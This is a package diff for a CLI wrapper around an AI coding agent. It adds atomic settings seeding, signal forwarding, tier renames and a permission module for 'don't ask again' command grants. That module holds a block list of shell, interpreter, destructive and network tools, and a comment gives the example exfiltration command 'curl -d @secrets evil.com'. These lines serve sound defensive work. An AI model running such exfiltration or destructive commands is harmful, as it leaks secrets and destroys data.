@yagni-app/code 0.2.1 → 0.3.0

package/dist/cli.d.ts

@@ -12,6 +12,36 @@
  * plus a configured pi spawn. Everything that makes this "YAGNI Code" lives in
  * pi-extension-yagni and the YAGNI backend.
  */
+/**
+ * Seed `editorPaddingX` into the per-profile pi `settings.json` so the prompt
+ * input aligns with the chat/output area (`outputPad`) and the status bar.
+ * Fills the key in only when absent — an explicit user choice (including 0)
+ * is never overwritten. Best-effort: a missing/corrupt settings file or a
+ * write failure must never block the launch.
+ */
+export declare function seedEditorPadding(piAgentDir: string): void;
+/**
+ * Seed `collapseChangelog` into the per-profile pi `settings.json` so the
+ * "What's New" section on startup renders as a one-liner instead of a full
+ * markdown dump. Fills the key in only when absent — an explicit user choice
+ * (including false) is never overwritten. Best-effort: a missing/corrupt
+ * settings file or a write failure must never block the launch.
+ */
+export declare function seedCollapseChangelog(piAgentDir: string): void;
+/**
+ * Seed `hideThinkingBlock` into the per-profile pi `settings.json` so the
+ * model's raw chain-of-thought collapses to a single labeled line instead of
+ * streaming its entire reasoning to the terminal. Fills the key in only when
+ * absent — an explicit user choice (including false, e.g. via Ctrl+T) is never
+ * overwritten. Best-effort: a missing/corrupt settings file or a write failure
+ * must never block the launch.
+ *
+ * Returns true only when this call actually collapsed reasoning for the first
+ * time (the key was absent and the write succeeded), so the caller can pass a
+ * one-time hint to the extension. Ctrl+T still reveals the full trace and
+ * persists the user's choice, so this default is always reversible.
+ */
+export declare function seedHideThinkingBlock(piAgentDir: string): boolean;
 export declare const HELP_TEXT: string;
 /** Parse `use <name> [--base-url <url>]` argv into its parts. */
 export declare function parseUseArgs(args: string[]): {

package/dist/cli.js

@@ -13,7 +13,8 @@
  * pi-extension-yagni and the YAGNI backend.
  */
 import { spawn } from "node:child_process";
-import { mkdirSync, realpathSync } from "node:fs";
+import { chmodSync, existsSync, lstatSync, mkdirSync, readFileSync, realpathSync, renameSync, rmSync, writeFileSync, } from "node:fs";
+import { join } from "node:path";
 import { createInterface } from "node:readline/promises";
 import { fileURLToPath } from "node:url";
 import { PI_CONFIG_NAME } from "./branding.js";
@@ -27,6 +28,8 @@ import { runDoctor } from "./doctor.js";
 import { installProcessCrashHandlers } from "./crashReport.js";
 import { currentCliVersion, maybeNudgeAndRefresh, upgradeCommand } from "./upgrade.js";
 import { maybeRefreshAtLaunch } from "./refresh.js";
+import { exitCodeFor, installSignalForwarding } from "./signalForward.js";
+import { PAD_X } from "./padding.js";
 import { ensureShadowPiPackage } from "./piPackage.js";
 import { resolveExtensionPath, resolvePiCliPath, resolvePiPackageDir } from "./paths.js";
 import { credentialsFromProfile, getActiveProfileName, listProfiles, migrateLegacyCredentials, persistProfileTokenRotation, profilePath, readActiveProfile, useProfile, } from "./profiles.js";
@@ -43,6 +46,115 @@ async function confirmOnTty(question) {
         rl.close();
     }
 }
+/**
+ * Seed `editorPaddingX` into the per-profile pi `settings.json` so the prompt
+ * input is padded to match the chat/output area (`outputPad`) and the status
+ * bar. Fills the key in only when absent — an explicit user choice (including
+ * 0) is never overwritten. Best-effort: a missing/corrupt settings file or a
+ * write failure must never block the launch.
+ */
+/**
+ * Seed a key into the per-profile pi `settings.json`. Shared guard rails for
+ * all settings seeds:
+ *
+ * This writes to a user-owned file, so it is deliberately conservative:
+ *  - fills the key in ONLY when absent — an explicit user choice (including 0
+ *    or false) is never overwritten;
+ *  - backs off on a missing-dir, corrupt, non-object, or symlinked settings
+ *    file rather than risk clobbering anything;
+ *  - writes ATOMICALLY (temp file + rename) and preserves the existing file's
+ *    permissions, so a crash mid-write can never truncate the user's settings.
+ * Any failure is swallowed: seeding must never block or break a launch.
+ *
+ * Returns true only when this call actually wrote the key (the key was absent
+ * and the write succeeded), letting callers distinguish a first-seed from a
+ * no-op so they can surface a one-time hint. Returns false on any existing
+ * value (explicit or previously seeded), a back-off case, or a write failure.
+ */
+function seedSetting(piAgentDir, key, value) {
+    try {
+        const settingsPath = join(piAgentDir, "settings.json");
+        let settings = {};
+        let existingMode;
+        if (existsSync(settingsPath)) {
+            // Refuse to follow a symlink: we must only ever write a regular, real
+            // settings file the user (or pi) owns.
+            if (lstatSync(settingsPath).isSymbolicLink())
+                return false;
+            let parsed;
+            try {
+                parsed = JSON.parse(readFileSync(settingsPath, "utf8"));
+            }
+            catch {
+                return false; // corrupt file: back off rather than clobber the user's settings
+            }
+            if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
+                return false; // non-object settings: leave it alone
+            }
+            settings = parsed;
+            existingMode = lstatSync(settingsPath).mode & 0o777;
+        }
+        if (settings[key] !== undefined)
+            return false; // user (or a prior seed) already set it
+        settings[key] = value;
+        // Atomic write: serialize to a temp file in the same directory, then
+        // rename over the target. A crash leaves either the old file or the temp
+        // file, never a half-written settings.json.
+        const tmpPath = join(piAgentDir, `.settings.json.yagni-${process.pid}-${Date.now()}.tmp`);
+        try {
+            writeFileSync(tmpPath, `${JSON.stringify(settings, null, 2)}\n`, { mode: 0o600 });
+            renameSync(tmpPath, settingsPath);
+        }
+        finally {
+            rmSync(tmpPath, { force: true }); // no-op once the rename succeeded
+        }
+        // Restore the original permissions if the file already had them (rename
+        // replaces the inode, which would otherwise reset to 0600).
+        if (existingMode !== undefined)
+            chmodSync(settingsPath, existingMode);
+        return true;
+    }
+    catch {
+        // never block launch on a settings-seed failure
+        return false;
+    }
+}
+/**
+ * Seed `editorPaddingX` into the per-profile pi `settings.json` so the prompt
+ * input aligns with the chat/output area (`outputPad`) and the status bar.
+ * Fills the key in only when absent — an explicit user choice (including 0)
+ * is never overwritten. Best-effort: a missing/corrupt settings file or a
+ * write failure must never block the launch.
+ */
+export function seedEditorPadding(piAgentDir) {
+    seedSetting(piAgentDir, "editorPaddingX", PAD_X);
+}
+/**
+ * Seed `collapseChangelog` into the per-profile pi `settings.json` so the
+ * "What's New" section on startup renders as a one-liner instead of a full
+ * markdown dump. Fills the key in only when absent — an explicit user choice
+ * (including false) is never overwritten. Best-effort: a missing/corrupt
+ * settings file or a write failure must never block the launch.
+ */
+export function seedCollapseChangelog(piAgentDir) {
+    seedSetting(piAgentDir, "collapseChangelog", true);
+}
+/**
+ * Seed `hideThinkingBlock` into the per-profile pi `settings.json` so the
+ * model's raw chain-of-thought collapses to a single labeled line instead of
+ * streaming its entire reasoning to the terminal. Fills the key in only when
+ * absent — an explicit user choice (including false, e.g. via Ctrl+T) is never
+ * overwritten. Best-effort: a missing/corrupt settings file or a write failure
+ * must never block the launch.
+ *
+ * Returns true only when this call actually collapsed reasoning for the first
+ * time (the key was absent and the write succeeded), so the caller can pass a
+ * one-time hint to the extension. Ctrl+T still reveals the full trace and
+ * persists the user's choice, so this default is always reversible.
+ */
+export function seedHideThinkingBlock(piAgentDir) {
+    return seedSetting(piAgentDir, "hideThinkingBlock", true);
+}
 async function runDefault(passthroughArgs) {
     // Cache-backed update nudge (never a network wait), then a background cache
     // refresh that completes while the session runs. Both fail soft.
@@ -72,6 +184,20 @@ async function runDefault(passthroughArgs) {
     // instead of ~/.pi/agent, and prod state never bleeds into staging.
     const piAgentDir = agentDir(profile.name);
     mkdirSync(piAgentDir, { recursive: true, mode: 0o700 });
+    // Seed the editor's horizontal padding so the prompt input aligns with the
+    // chat/output area and the status bar, and collapse the changelog so the
+    // "What's New" section on startup renders as a one-liner instead of a full
+    // markdown dump. Only fills in when the user has not set either themselves —
+    // an explicit choice is never clobbered. Best-effort: a corrupt or
+    // unreadable settings.json must never block the launch.
+    seedEditorPadding(piAgentDir);
+    seedCollapseChangelog(piAgentDir);
+    // Collapse raw chain-of-thought to one line on first launch. Seeded here
+    // (before the extension boots) so `setHiddenThinkingLabel`/any Ctrl+T toggle
+    // in this session sees the collapsed default. `seededHideThinking` is true
+    // only THIS launch — a downstream one-time hint must not re-nag on the next
+    // real run once the key already exists.
+    const seededHideThinking = seedHideThinkingBlock(piAgentDir);
     // Generate the shadow pi package so the terminal title/process name read
     // "YAGNI Code" instead of "pi"/"π". Best-effort: if it can't be built we
     // still launch (un-rebranded but hermetic), never blocking the agent.
@@ -120,6 +246,7 @@ async function runDefault(passthroughArgs) {
             stateDir: credentialsDir(),
             cliVersion: cliVersion(),
             baseEnv: process.env,
+            ...(seededHideThinking ? { hideThinkingSeeded: true } : {}),
         });
     }
     catch (err) {
@@ -136,7 +263,12 @@ async function runDefault(passthroughArgs) {
             stdio: "inherit",
             env,
         });
-        child.on("exit", (code) => resolve(code ?? 0));
+        // Forward termination signals to pi instead of dying around it (see
+        // signalForward.ts for the policy: first signal graceful, second tree-kill).
+        installSignalForwarding(child);
+        // 128+n for a signal death (bash parity), so a cancelled/killed run never
+        // reads as success to scripts or CI.
+        child.on("exit", (code, signal) => resolve(exitCodeFor(code, signal)));
         child.on("error", (err) => {
             process.stderr.write(`Failed to start YAGNI Code: ${err.message}\n`);
             resolve(1);
@@ -161,7 +293,7 @@ export const HELP_TEXT = [
     "  yagni version            Print the CLI version.",
     "",
     "Common agent flags (passed straight through):",
-    "  --model <tier>           Pick the model tier (balanced by default).",
+    "  --model <tier>           Model tier (fixed to advanced).",
     "  --thinking <level>       off | minimal | low | medium | high | xhigh | max",
     "  --session <id>           Open a specific session; --fork <id> branches one.",
     "  --mode json              Emit machine-readable events (for scripts and CI).",

package/dist/doctor.d.ts

@@ -94,7 +94,7 @@ export interface DoctorDeps {
 export declare function ghOnPathDefault(env?: NodeJS.ProcessEnv): boolean;
 /**
  * Locate the bash pi will actually use on Windows. The order and locations
- * MIRROR pi 0.83's own shell resolution (dist/utils/shell.js) exactly:
+ * MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
  * `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
  * then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
  * per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible

package/dist/doctor.js

@@ -316,7 +316,7 @@ export function ghOnPathDefault(env = process.env) {
 }
 /**
  * Locate the bash pi will actually use on Windows. The order and locations
- * MIRROR pi 0.83's own shell resolution (dist/utils/shell.js) exactly:
+ * MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
  * `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
  * then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
  * per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible

package/dist/extension/advisor.d.ts

@@ -22,8 +22,8 @@
  * State is held in a closure via {@link makeAdvisorState}; no module-level
  * mutable state, so two sessions in one process cannot bleed into each other.
  */
-/** The session tier that may escalate. Balanced only, by design. */
-export declare const ADVISOR_TIER = "balanced";
+/** The session tier that may escalate. Advanced only, by design. */
+export declare const ADVISOR_TIER = "advanced";
 /** The tier a consult itself runs on. */
 export declare const ADVISOR_MODEL_TIER = "peak";
 /** Bounds on escalation within a single session. */
@@ -64,8 +64,8 @@ export interface ConsultGateInput {
  * The tier check reads the model at CALL time rather than at registration time:
  * tools register once at activation but pi's picker can switch the session model
  * afterwards, so a registration-time check would both leave the tool live after
- * switching away from Balanced and hide it forever from a session that switched
- * to Balanced.
+ * switching away from Advanced and hide it forever from a session that switched
+ * to Advanced.
  */
 export declare function decideConsult(input: ConsultGateInput): ConsultDecision;
 /**

package/dist/extension/advisor.js

@@ -22,8 +22,8 @@
  * State is held in a closure via {@link makeAdvisorState}; no module-level
  * mutable state, so two sessions in one process cannot bleed into each other.
  */
-/** The session tier that may escalate. Balanced only, by design. */
-export const ADVISOR_TIER = "balanced";
+/** The session tier that may escalate. Advanced only, by design. */
+export const ADVISOR_TIER = "advanced";
 /** The tier a consult itself runs on. */
 export const ADVISOR_MODEL_TIER = "peak";
 export const DEFAULT_ADVISOR_LIMITS = {
@@ -49,17 +49,16 @@ export function makeAdvisorState() {
  * The tier check reads the model at CALL time rather than at registration time:
  * tools register once at activation but pi's picker can switch the session model
  * afterwards, so a registration-time check would both leave the tool live after
- * switching away from Balanced and hide it forever from a session that switched
- * to Balanced.
+ * switching away from Advanced and hide it forever from a session that switched
+ * to Advanced.
  */
 export function decideConsult(input) {
     const { model, state, limits } = input;
     if (model !== ADVISOR_TIER) {
         return {
             allow: false,
-            reason: `ask_advisor is only available on the Balanced tier (this session is on ` +
-                `"${model ?? "unknown"}"). Switch the model to Balanced to consult the ` +
-                `peak-tier advisor, or reason it through on the current tier.`,
+            reason: `ask_advisor is only available on the Advanced tier (this session is on ` +
+                `"${model ?? "unknown"}").`,
         };
     }
     if (state.consults >= limits.maxConsults) {

package/dist/extension/approvedPrefixes.d.ts

@@ -0,0 +1,92 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { type ExecPolicy } from "./execPolicy.js";
+export interface ApprovedPrefixGrant {
+    /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
+    pattern: string[];
+    /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
+    repoKey: string;
+    /** ISO timestamp of the grant. */
+    addedAt: string;
+    /** The cwd where the grant was made (provenance for a future revoke UI). */
+    cwd: string;
+}
+export interface ApprovedPrefixFile {
+    version: 1;
+    grants: ApprovedPrefixGrant[];
+}
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export declare const BANNED_PREFIXES: Set<string>;
+export declare function derivePrefix(command: string): string[] | null;
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export declare function storagePrefix(command: string): string;
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
+/** Human label for the remember option: "git push …". */
+export declare function describePrefix(pattern: string[]): string;
+export declare function rulesFilePath(homeOverride?: string | null): string;
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export declare function resolveRepoKey(cwd: string): string;
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
+//# sourceMappingURL=approvedPrefixes.d.ts.map

package/dist/extension/approvedPrefixes.js

@@ -0,0 +1,252 @@
+/**
+ * Approved command prefixes — persisted "don't ask again" grants (YAG-510).
+ *
+ * When the Guardian asks and the user answers "Yes, and don't ask again for
+ * `git push …`", the derived prefix is persisted and future commands matching
+ * it run without a Guardian consult.
+ *
+ * Grants deliberately live OUTSIDE the exec policy: they are consulted by the
+ * permission gate ONLY after classifyCommand returns "prompt", so a grant can
+ * never override the forbidden band, pipe-to-shell, or compound-strictest
+ * aggregation — by construction, not by rule ordering. (Inserting grant rules
+ * into ExecPolicy.rules was reviewed and rejected: appended rules are a
+ * first-match-wins no-op behind the built-in prompt rules, and prepended
+ * rules would shadow the forbidden block.)
+ *
+ * Scope: grants are per-repo — keyed by the git remote origin URL of the
+ * session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
+ * scratch repo must not auto-allow pushes in the production monorepo.
+ *
+ * Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
+ * append so concurrent sessions don't clobber each other's grants. Sessions
+ * already running only see new grants at next startup (accepted).
+ *
+ * Pure derivation/matching half + a small I/O half (load/append/repoKey),
+ * same split as guardian.ts and permission.ts so the rules are exhaustively
+ * testable without touching the filesystem.
+ */
+import { execFileSync } from "node:child_process";
+import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
+import { dirname, join } from "node:path";
+import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
+import { codeStateHome } from "./stateHome.js";
+// --- Derivation ---
+/** Tools whose second token is a subcommand worth capturing in a prefix. */
+const MULTI_SUBCOMMAND_TOOLS = new Set([
+    "git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
+]);
+/**
+ * Prefixes that must never be grantable. Interpreters and wrappers would
+ * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
+ * network/egress tools would grant permanent unreviewed exfiltration paths
+ * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
+ * multi-subcommand tools are banned via derivation (never offered).
+ */
+export const BANNED_PREFIXES = new Set([
+    "bash", "sh", "zsh", "fish", "dash", "ksh",
+    "python", "python3", "node", "ruby", "perl", "deno", "bun",
+    "sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
+    "rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
+    "curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
+]);
+/** Second tokens must look like plain subcommand words (no URLs, no secrets). */
+const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
+/**
+ * Derive the grantable prefix for a command, or null when the command is not
+ * grantable: multi-segment/compound, carries shell constructs, banned prefix,
+ * or a bare multi-subcommand tool with no subcommand.
+ */
+/**
+ * A command qualifies for grant coverage only when it is one plain command:
+ * no operators, no constructs (checked via the quote-aware tokenizer, so
+ * `git commit -m "a & b"` still qualifies — the & is quoted text).
+ */
+function isSinglePlainCommand(command) {
+    return !shellParse(command).some((t) => typeof t === "object");
+}
+export function derivePrefix(command) {
+    // Grants only ever cover single plain commands. Any operator or construct
+    // (|, &&, ;, newline, redirect, substitution, &) disqualifies.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    const first = tokens[0];
+    // Path-prefixed or escaped command words are never grantable.
+    if (first.includes("/") || first.startsWith("\\"))
+        return null;
+    if (BANNED_PREFIXES.has(first))
+        return null;
+    if (MULTI_SUBCOMMAND_TOOLS.has(first)) {
+        const second = tokens[1];
+        if (!second || second.startsWith("-") || !SAFE_SUBCOMMAND_RE.test(second))
+            return null;
+        return [first, second];
+    }
+    return [first];
+}
+/**
+ * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
+ * plus token 2 only for known multi-subcommand tools when it is a plain
+ * subcommand word — a psql conn-string or URL must never land in the prefix
+ * column. Unlike derivePrefix this labels EVERY command (banned families and
+ * compound commands included; compound commands are labeled by their first
+ * segment's command word).
+ */
+export function storagePrefix(command) {
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return "(empty)";
+    const rawFirst = tokens[0].startsWith("\\") ? tokens[0].slice(1) : tokens[0];
+    const slash = rawFirst.lastIndexOf("/");
+    const first = slash >= 0 ? rawFirst.slice(slash + 1) : rawFirst;
+    const second = tokens[1];
+    if (MULTI_SUBCOMMAND_TOOLS.has(first) && second && SAFE_SUBCOMMAND_RE.test(second) && !second.startsWith("-")) {
+        return `${first} ${second}`;
+    }
+    return first;
+}
+// --- Matching ---
+/**
+ * git-push refspec shapes that encode force/delete positionally: a leading
+ * `+` forces, a `:` inside a refspec deletes or maps (`:main` deletes the
+ * remote branch). Confirmed unfencable via flag lists — so any such arg
+ * knocks the command out of grant coverage entirely.
+ */
+function hasGitPushRefspecDanger(tokens) {
+    return tokens.slice(2).some((t) => t.startsWith("+") || (!t.startsWith("-") && t.includes(":")));
+}
+/**
+ * Flags that must never ride a grant even though the exec policy leaves them
+ * in the prompt band (e.g. --force-with-lease is Guardian-reviewable but a
+ * standing grant for it would be a silent force-push license).
+ */
+function hasGrantFencedFlag(pattern, tokens) {
+    if (pattern[0] === "git" && pattern[1] === "push") {
+        return tokens.some((t) => t.startsWith("--force") || t === "-f");
+    }
+    return false;
+}
+/**
+ * Does `command` fall under one of the session's grants? Pure. The caller
+ * (permission gate) must only consult this AFTER classifyCommand returned
+ * "prompt" — grants never override forbidden.
+ */
+export function matchesGrant(command, grants, repoKey) {
+    // Same single-plain-command restriction as derivation.
+    if (!isSinglePlainCommand(command))
+        return null;
+    const tokens = tokenize(command);
+    if (tokens.length === 0)
+        return null;
+    for (const grant of grants) {
+        if (grant.repoKey !== repoKey)
+            continue;
+        if (grant.pattern.length === 0 || grant.pattern.length > tokens.length)
+            continue;
+        if (!grant.pattern.every((p, i) => tokens[i] === p))
+            continue;
+        if (hasGrantFencedFlag(grant.pattern, tokens))
+            continue;
+        if (grant.pattern[0] === "git" && grant.pattern[1] === "push" && hasGitPushRefspecDanger(tokens))
+            continue;
+        return grant;
+    }
+    return null;
+}
+/**
+ * Grant-time validation: only offer/accept a grant when the current command
+ * would actually auto-run under it — classification is "prompt" AND the
+ * hypothetical grant matches. Prevents offering a "don't ask again" that
+ * wouldn't have prevented this ask (or that covers a fenced shape).
+ */
+export function validateGrant(command, policy, repoKey) {
+    const pattern = derivePrefix(command);
+    if (!pattern)
+        return null;
+    if (classifyCommand(command, policy).decision !== "prompt")
+        return null;
+    const candidate = {
+        pattern,
+        repoKey,
+        addedAt: new Date().toISOString(),
+        cwd: "",
+    };
+    return matchesGrant(command, [candidate], repoKey) ? candidate : null;
+}
+/** Human label for the remember option: "git push …". */
+export function describePrefix(pattern) {
+    return `${pattern.join(" ")} …`;
+}
+// --- I/O half ---
+export function rulesFilePath(homeOverride = null) {
+    return join(codeStateHome(homeOverride), "rules.json");
+}
+/**
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
+ * falling back to the realpath of the cwd (no remote, not a repo, git
+ * missing). Fail-soft — never throws.
+ */
+export function resolveRepoKey(cwd) {
+    try {
+        const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
+            encoding: "utf8",
+            stdio: ["ignore", "pipe", "ignore"],
+            timeout: 3_000,
+        }).trim();
+        if (url.length > 0)
+            return url;
+    }
+    catch {
+        // fall through to realpath
+    }
+    try {
+        return realpathSync(cwd);
+    }
+    catch {
+        return cwd;
+    }
+}
+/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
+export function loadGrants(homeOverride = null) {
+    try {
+        const path = rulesFilePath(homeOverride);
+        if (!existsSync(path))
+            return [];
+        const parsed = JSON.parse(readFileSync(path, "utf8"));
+        if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
+            return [];
+        return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
+            g.pattern.length > 0 &&
+            g.pattern.every((t) => typeof t === "string") &&
+            typeof g.repoKey === "string" &&
+            typeof g.addedAt === "string" &&
+            typeof g.cwd === "string");
+    }
+    catch {
+        return [];
+    }
+}
+/**
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
+ * The re-read is the concurrency guard — a parallel session's grant appended
+ * between our load and this call survives. Returns the merged list; throws
+ * never (fail-soft, returns the in-memory merge even if the write fails).
+ */
+export function appendGrant(grant, homeOverride = null) {
+    const current = loadGrants(homeOverride);
+    const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
+    const merged = isDuplicate ? current : [...current, grant];
+    try {
+        const path = rulesFilePath(homeOverride);
+        mkdirSync(dirname(path), { recursive: true });
+        const file = { version: 1, grants: merged };
+        writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
+    }
+    catch {
+        // Fail-soft: the in-memory grant still applies for this session.
+    }
+    return merged;
+}
+//# sourceMappingURL=approvedPrefixes.js.map

package/dist/extension/askAdvisorTool.d.ts

@@ -1,7 +1,7 @@
 /**
- * `ask_advisor` — the peak-tier escalation available to Balanced sessions (YAG-380).
+ * `ask_advisor` — the peak-tier escalation available to Advanced sessions (YAG-380).
  *
- * Cheap driver, expensive consultant: a Balanced session drives on `advanced` and
+ * Cheap driver, expensive consultant: an Advanced session drives on `advanced` and
  * calls this when it hits a judgment call worth the strongest model. The consult
  * spawns a child pi at `peak` through the same `runStage` seam `/go` uses, and
  * returns the advice as plain TEXT the driver acts on — text we own, so